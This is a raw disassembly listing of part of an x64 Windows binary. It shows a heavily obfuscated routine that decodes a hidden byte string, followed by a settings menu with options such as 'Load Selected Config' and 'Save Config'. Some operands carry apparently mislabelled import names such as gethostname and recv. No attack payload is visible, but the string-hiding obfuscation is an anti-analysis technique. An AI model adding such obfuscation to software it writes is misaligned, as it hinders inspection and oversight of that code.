movabs rcx, 0x1adb23dc6a67622d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3b
jmp 0x1400a19b0
movabs rcx, 0xf01b3691e211231b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x43
jmp 0x1400a19a0
lea rcx, [rbp + 0x1793a6c]
jmp 0x1400a26d9
lea rcx, [rbp + 0x6459f5]
jmp 0x1400a26d9
lea rcx, [rbp + 0xa60]
xor r8d, r8d
lea rdx, [rbp - 0x5c]
call fcn.140034820
test al, al
je 0x1400a26f8
mov rax, qword [0x14022de78]
mov byte [rax + 0xa], 0
call fcn.1400408a0
mov byte [rbp + 0xa88], 0xf3
mov byte [rbp + 0xa89], Ordinal_211
mov byte [rbp + 0xa8a], 0xcc
mov byte [rbp + 0xa8b], Ordinal_217
mov byte [rbp + 0xa8c], Ordinal_211
mov byte [rbp + 0xa8d], Ordinal_211
mov byte [rbp + 0xa8e], Ordinal_200
mov byte [rbp + 0xa8f], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa90], xmm0
mov qword [rbp + 0xaa0], rax
mov word [rbp + 0xaa8], ax
mov byte [rbp + 0xaaa], al
movabs rsi, 0x521513f6758a958
movabs r12, 0xb719f7adaf9681f8
movabs r14, 0x6b197b4e56b891a8
movabs r15, 0xfce58bf2f78b8db8
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a3433
movzx r10d, byte [rbp + rbx + 0xa88]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a3427
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a27f3
lea rcx, [rbx + r12]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x38
jmp 0x1400a2830
je 0x1400a3399
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a32f6
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a32ba
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a326c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a323f
nop dword [rax]
cmp r9, rbx
ja 0x1400a341b
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400a2861
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
jmp 0x1400a28a1
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a31e9
inc rax
cmp r8, rax
je 0x1400a31c0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a3187
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a3162
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a312d
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400a2d3e
nop
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a2d2a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a2cfd
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400a2cd3
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400a2cc4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a2ca0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a2c67
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400a2c43
mov r8, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400a33f7
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400a33ce
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400a2a1f
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400a2a04
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400a29e4
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400a2bec
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400a2b61
mov r8, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400a2b27
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400a2b03
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400a2ada
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400a2aa6
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400a2a86
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400a2a72
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400a2a47
mov r8, rax
lea r9, [rax + 0x42]
jmp 0x1400a28b0
lea rdx, [rbx + r14]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a28a1
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x1400a2830
movabs rdx, 0x8eb19c97985e89c8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x1400a27b5
movabs rcx, 0x4ca2ab447c6b42e0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
dec rbx
inc rbx
jmp 0x1400a27a2
movabs rdx, 0xde6ebbe91d3e3ef0
mov ecx, gethostname
jmp 0x1400a2e3f
movabs rcx, 0x703acc8dbe113b00
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
jmp 0x1400a32de
movabs rcx, 0x206dd325ee43710
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a27a2
movabs rdx, 0x93d2edd6ffb73320
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a331c
movabs rcx, 0x259efe7ba08a2f30
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400a3350
movabs rdx, 0xb76b0f20415d2b40
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a27a2
movabs rdx, 0x47815a0515129988
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x42
jae 0x1400a30cc
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400a2fa3
movabs rcx, 0xa65155a23e35a170
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
cmp r9, 0x42
jb 0x1400a30bc
movabs rcx, 0xf458af33f5f7c8d0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x60]
jmp 0x1400a320d
movabs rcx, 0xd94d6aa9b5e59598
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400a30fc
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400a2e98
movabs rdx, 0xa1300462d6dcf818
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
jmp 0x1400a2b79
movabs rcx, 0x426008c5adb9f030
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400a331c
movabs rdx, 0xd42c196a4e8cec40
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a27a2
movabs rcx, 0x65f82a0eef5fe850
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
jmp 0x1400a32de
movabs rdx, 0xf7c43ab39032e460
jmp 0x1400a2e3a
movabs rcx, 0x89904b583105e070
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
dec rbx
inc rbx
jmp 0x1400a27a2
movabs rcx, 0x1b5c5bfcd1d8dc80
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400a27a2
movabs rdx, 0xad286ca172abd890
mov ecx, 8
jmp 0x1400a31f8
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400a2d6b
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2c0b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a2db2
movabs rdx, 0xa42a27eceb152b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a27a2
inc rax
cmp r8, rax
jne 0x1400a2df2
movabs rcx, 0x54de7090ec385e80
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a27a2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a2e23
movabs rcx, 0xc3125fec4b656270
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x1400a32de
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a2e59
movabs rdx, 0x31464f47aa926660
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a328b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a2c0b
movabs rdx, 0xdae2dfe68ec6e40
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400a27a2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a2ec9
movabs rcx, 0xf63f3be3609fc08
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400a320d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a2eff
movabs rdx, 0x59ffc1d0539107d8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a328b
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a2f30
movabs rcx, 0xc833b12bb2be0bc8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400a32de
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a2f72
movabs rcx, 0x3667a08711eb0fb8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a27a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a2b85
movabs rcx, 0x12cf7f3dd0451798
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400a3350
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a2fea
movabs rdx, 0x148544fd9d62a560
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a27a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a302b
movabs rcx, 0x5f21130fbae9b130
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a27a2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a304c
movabs rdx, 0xcd55026b1a16b520
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400a32c9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a307d
movabs rcx, 0x3b88f1c67943b910
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400a328b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a2bbb
movabs rdx, 0x17f0d07d379dc0f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400a27a2
mov byte [rbp + rbx + 0xa88], r11b
inc rbx
jmp 0x1400a27a2
movabs rdx, 0x628c9e8f5524ccc0
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0xa88]
sub r11b, al
sub r11b, 0x40
add r11b, dl
add r11b, r10b
jmp 0x1400a328b
movabs rdx, 0xd0c08deab451d0b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xa88]
add r11b, dl
add r11b, r10b
jmp 0x1400a331c
movabs rcx, 0xe4f4bb75bfedccc8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0xa88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a27a2
movabs rdx, 0x88cdcbf0193c4e8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
jmp 0x1400a3319
movabs rdx, 0x9a58ed63a266c0f8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a27a2
movabs rdx, 0xbdf10eace40cb918
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a328b
movabs rdx, 0x7355409ac685ad48
mov ecx, 4
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xab72a6e1a58e4ac8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x78
add cl, r10b
mov byte [rbp + rbx + 0xa88], cl
inc r9
dec rbx
inc rbx
jmp 0x1400a27a2
movabs rcx, 0x28b97288a8fea178
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
inc r9
dec rbx
inc rbx
jmp 0x1400a27a2
movabs rcx, 0x4c5193d1eaa49998
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movabs rcx, 0x19a6963d04bb4eb8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 8
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0xa88], r10b
jmp 0x1400a32de
movabs rdx, 0xde1da4768b7795a8
mov ecx, 0x34
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a27a2
mov r10, rdi
movabs rdx, 0x1b5c5bfcd1d8dc8
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0x78
add r11b, dl
movabs rdx, 0x87da859863e852a8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xa88], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x3ef47d46137ed4a0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
mov byte [rbp + rbx + 0xa88], r10b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a27a2
movabs rcx, 0x254de7090ec385e8
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
movzx eax, byte [rbp + rbx + 0xa88]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a27a2
movabs rdx, 0x207dad3c393185d8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a27a0
movabs rcx, 0xb249bde0da0481e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x1400a2790
lea rcx, [rbp + 0x15f5d28]
jmp 0x1400a343a
lea rcx, [rbp + 0x75df20]
jmp 0x1400a343a
lea rcx, [rbp + 0xa88]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x1400a3818
lea rcx, str.General
call fcn.140036770
xorps xmm0, xmm0
movups xmmword [rbp + 0x10c0], xmm0
movups xmmword [rbp + 0x10d0], xmm0
movups xmmword [rbp + 0x10e0], xmm0
movups xmmword [rbp + 0x10f0], xmm0
mov rdx, qword [0x14022e118]
add rdx, 0x60
lea rcx, [rbp + 0x10c0]
call fcn.1400e5220
nop
lea rcx, [0x1401da8c8]
call fcn.140001bc0
xor r8d, r8d
mov rdx, rax
lea rcx, [0x1401bc184]
call fcn.140036bc0
test al, al
je 0x1400a35f1
mov rdx, qword [0x14022e118]
add rdx, 0x60
lea rcx, [rbp + 0x1100]
call fcn.1400e5220
nop
xor eax, eax
mov qword [rbp + 0x1060], rax
mov rax, qword [rbp + 0x1108]
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [rbp + 0x1060]
call fcn.14006d0f0
xor eax, eax
mov qword [rbp + 0x1068], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x1108]
lea rcx, [rbp + 0x1068]
call fcn.14006d0f0
mov rax, qword [rbp + 0x1060]
cmp rax, qword [rbp + 0x1068]
je 0x1400a35d4
lea rbx, [rax + 0x10]
mov rdx, rbx
lea rcx, [rbp + 0x1090]
call fcn.140002680
movzx eax, byte [rbx + 0x20]
mov byte [rbp + 0x10b0], al
lea rdx, [0x1401da8c8]
lea rcx, [rbp + 0x1090]
call fcn.14005bf90
movzx ebx, al
mov dword [rbp - 0x54], 0
mov dword [rbp - 0x50], 0
lea rcx, [rbp + 0x1090]
call fcn.140001bc0
lea r9, [rbp - 0x54]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003e490
test al, al
je 0x1400a359c
lea rdx, [rbp + 0x1090]
lea rcx, [0x1401da8c8]
call fcn.140004210
test bl, bl
je 0x1400a35aa
call fcn.140014a40
nop
lea rcx, [rbp + 0x1090]
call fcn.140002820
mov rax, qword [rbp + 0x1060]
mov rax, qword [rax]
mov qword [rbp + 0x1060], rax
cmp rax, qword [rbp + 0x1068]
jne 0x1400a3522
lea rcx, [rbp + 0x1118]
call fcn.14005b380
lea rcx, [rbp + 0x1108]
call fcn.140065030
call fcn.140018d80
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x68], 0
xor r8d, r8d
lea rdx, [rsp + 0x64]
lea rcx, str.Load_Selected_Config
call fcn.140034820
test al, al
je 0x1400a364d
cmp qword [0x1401da8d8], 0
je 0x1400a364d
lea rdx, [0x1401da8c8]
lea rcx, [rbp + 0x338]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e118]
call fcn.1400dd9c0
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x70], 0
xor r8d, r8d
lea rdx, [rsp + 0x6c]
lea rcx, str.Set_Selected_As_Default
call fcn.140034820
test al, al
je 0x1400a36a9
cmp qword [0x1401da8d8], 0
je 0x1400a36a9
lea rdx, [0x1401da8c8]
lea rcx, [rbp + 0x358]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e118]
call fcn.1400e2940
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x78], 0
xor r8d, r8d
lea rdx, [rsp + 0x74]
lea rcx, str.Override_Selected_Config
call fcn.140034820
test al, al
je 0x1400a3705
cmp qword [0x1401da8d8], 0
je 0x1400a3705
lea rdx, [0x1401da8c8]
lea rcx, [rbp + 0x378]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e118]
call fcn.1400e0290
lea rcx, str.Settings
call fcn.140036770
mov dword [rsp + 0x54], 0
mov dword [rsp + 0x58], 0
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea rbx, [0x140229d90]
mov r8, rbx
lea rdx, [0x1401b2ef8]
lea rcx, str.Cfg_Name
call fcn.14003ae90
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0
xor r8d, r8d
lea rdx, [rsp + 0x5c]
lea rcx, str.Save_Config
call fcn.140034820
test al, al
je 0x1400a37fa
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1070]
call fcn.1400029f0
nop
nop dword [rax]
inc r13
cmp byte [rbx + r13], 0
jne 0x1400a37a0
mov r8, r13
mov rdx, rbx
lea rcx, [rbp + 0x1070]
call fcn.140004460
nop
cmp qword [rbp + 0x1080], 0
je 0x1400a37ee
lea rdx, [rbp + 0x1070]
lea rcx, [rbp + 0x398]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e118]
call fcn.1400e0290
nop
lea rcx, [rbp + 0x1070]
call fcn.140002820
call fcn.1400408a0
nop
lea rcx, [rbp + 0x10d8]
call fcn.14005b380
lea rcx, [rbp + 0x10c8]
call fcn.140065030
call fcn.14003efd0
call fcn.140013f90
mov rcx, qword [rbp + 0x1140]
xor rcx, rsp
call fcn.140198890
lea r11, [rsp + 0x1250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14006a780
int3